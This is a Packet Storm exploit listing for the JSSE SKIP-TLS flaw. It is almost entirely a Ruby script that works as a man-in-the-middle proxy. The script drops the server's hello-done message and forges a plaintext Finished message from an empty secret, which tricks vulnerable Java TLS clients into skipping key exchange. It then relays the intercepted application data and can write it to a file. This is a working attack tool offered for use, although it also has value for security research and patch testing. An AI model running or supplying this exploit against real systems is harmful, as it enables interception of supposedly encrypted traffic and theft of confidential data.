Lucene search

K
packetstormRamon de C VallePACKETSTORM:134251
HistoryNov 06, 2015 - 12:00 a.m.

Java Secure Socket Extension (JSSE) SKIP-TLS

2015-11-0600:00:00
Ramon de C Valle
packetstormsecurity.com
36

0.652 Medium

EPSS

Percentile

97.6%

`#!/usr/bin/env ruby  
# encoding: ASCII-8BIT  
# By Ramon de C Valle. This work is dedicated to the public domain.  
  
require 'openssl'  
require 'optparse'  
require 'socket'  
  
Version = [0, 0, 1]  
Release = nil  
  
def prf(secret, label, seed)  
if secret.empty?  
s1 = s2 = ''  
else  
length = ((secret.length * 1.0) / 2).ceil  
s1 = secret[0..(length - 1)]  
s2 = secret[(length - 1)..(secret.length - 1)]  
end  
  
hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, label + seed)  
hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, hmac_md5 + label + seed)  
  
hmac_sha1 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, label + seed)  
hmac_sha1 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, hmac_sha1 + label + seed)  
  
result = ''  
[hmac_md5.length, hmac_sha1.length].max.times { |i| result << [(hmac_md5.getbyte(i) || 0) ^ (hmac_sha1.getbyte(i) || 0)].pack('C') }  
result  
end  
  
def prf_sha256(secret, label, seed)  
hmac_sha256 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, label + seed)  
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, hmac_sha256 + label + seed)  
end  
  
class String  
def hexdump(stream=$stdout)  
0.step(bytesize - 1, 16) do |i|  
stream.printf('%08x ', i)  
  
0.upto(15) do |j|  
stream.printf(' ') if j == 8  
  
if i + j >= bytesize  
stream.printf(' ')  
else  
stream.printf('%02x ', getbyte(i + j))  
end  
end  
  
stream.printf(' ')  
  
0.upto(15) do |j|  
if i + j >= bytesize  
stream.printf(' ')  
else  
if /[[:print:]]/ === getbyte(i + j).chr && /[^[:space:]]/ === getbyte(i + j).chr  
stream.printf('%c', getbyte(i + j))  
else  
stream.printf('.')  
end  
end  
end  
  
stream.printf("\n")  
end  
end  
end  
  
options = {}  
  
OptionParser.new do |parser|  
parser.banner = "Usage: #{parser.program_name} [options] host"  
  
parser.separator('')  
parser.separator('Options:')  
  
parser.on('-H', '--local-host HOST', 'Local host') do |host|  
options[:local_host] = host  
end  
  
parser.on('-P', '--local-port PORT', 'Local port') do |port|  
options[:local_port] = port  
end  
  
parser.on('-d', '--debug', 'Debug mode') do  
options[:debug] = true  
end  
  
parser.on('-h', '--help', 'Show this message') do  
puts parser  
exit  
end  
  
parser.on('-o', '--output FILE', 'Output file') do |file|  
options[:file] = File.new(file, 'w+b')  
end  
  
parser.on('-p', '--port PORT', 'Port') do |port|  
options[:port] = port  
end  
  
parser.on('-v', '--verbose', 'Verbose mode') do  
options[:verbose] = true  
end  
  
parser.on('--version', 'Show version') do  
puts parser.ver  
exit  
end  
end.parse!  
  
local_host = options[:local_host] || '0.0.0.0'  
local_port = options[:local_port] || 443  
debug = options[:debug] || false  
file = options[:file] || nil  
host = ARGV[0] or fail ArgumentError, 'no host given'  
port = options[:port] || 443  
verbose = options[:verbose] || false  
  
proxy = TCPServer.new(local_host, local_port)  
puts 'Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]] if debug || verbose  
  
loop do  
Thread.start(proxy.accept) do |client|  
puts 'Accepted connection from %s:%d' % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose  
  
finished_sent = false  
handshake_messages = ''  
version = ''  
  
context = OpenSSL::SSL::SSLContext.new(:TLSv1)  
context.verify_mode = OpenSSL::SSL::VERIFY_NONE  
  
tcp_socket = TCPSocket.new(host, port)  
ssl_server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context)  
ssl_server.connect  
  
puts 'Connected to %s:%d' % [ssl_server.peeraddr[2], ssl_server.peeraddr[1]] if debug || verbose  
  
server = TCPSocket.new(host, port)  
  
puts 'Connected to %s:%d' % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose  
  
loop do  
readable, = IO.select([client, server])  
  
readable.each do |r|  
if r == ssl_server  
# ssl_server is an SSL socket; read application data directly  
header = ''  
fragment = r.readpartial(4096)  
fragment.hexdump($stderr) if debug  
puts '%d bytes received' % [fragment.bytesize] if debug || verbose  
else  
header = r.read(5)  
raise EOFError if header.nil?  
header.hexdump($stderr) if debug  
puts '%d bytes received' % [header.bytesize] if debug || verbose  
  
fragment = r.read(header[3, 2].unpack('n')[0])  
fragment.hexdump($stderr) if debug  
puts '%d bytes received' % [fragment.bytesize] if debug || verbose  
end  
  
if finished_sent  
if file  
# Save application data  
file.write(fragment)  
file.flush  
file.fsync  
end  
elsif fragment =~ /^\x0e\x00\x00\x00/ # server_hello_done  
# Drop the server hello done message and send the finished  
# message in plaintext.  
if header[2, 1] == "\x03"  
verify_data = prf_sha256('', 'server finished', OpenSSL::Digest::SHA256.digest(handshake_messages))  
verify_data = verify_data[0, 12]  
else  
verify_data = prf('', 'server finished', OpenSSL::Digest::MD5.digest(handshake_messages) + OpenSSL::Digest::SHA1.digest(handshake_messages))  
verify_data = verify_data[0, 12]  
end  
  
finished = "\x14#{[verify_data.length].pack('N')[1, 3]}#{verify_data}"  
record = header[0, 3] + [finished.length].pack('n') + finished  
  
count = client.write(record)  
client.flush  
record.hexdump($stderr) if debug  
puts '%d bytes sent' % [count] if debug || verbose  
  
finished_sent = true  
  
# Change to the SSL socket  
server.close  
server = ssl_server  
  
# Save version used in the handshake  
version = header[2, 1]  
  
next  
else  
# Save handshake messages  
handshake_messages << fragment  
end  
  
case r  
when client  
if finished_sent  
# server is an SSL socket  
count = server.write(fragment)  
server.flush  
fragment.hexdump($stderr) if debug  
puts '%d bytes sent' % [count] if debug || verbose  
else  
# server isn't an SSL socket  
record = header + fragment  
count = server.write(record)  
server.flush  
record.hexdump($stderr) if debug  
puts '%d bytes sent' % [count] if debug || verbose  
end  
  
when ssl_server  
# client isn't an SSL socket; add the record layer header with  
# the same version used in the handshake.  
header = "\x17\x03#{version}" + [fragment.length].pack('n')  
record = header + fragment  
count = client.write(record)  
client.flush  
record.hexdump($stderr) if debug  
puts '%d bytes sent' % [count] if debug || verbose  
  
when server  
record = header + fragment  
count = client.write(record)  
client.flush  
record.hexdump($stderr) if debug  
puts '%d bytes sent' % [count] if debug || verbose  
end  
end  
end  
  
client.close  
server.close  
end  
end  
  
proxy.close  
`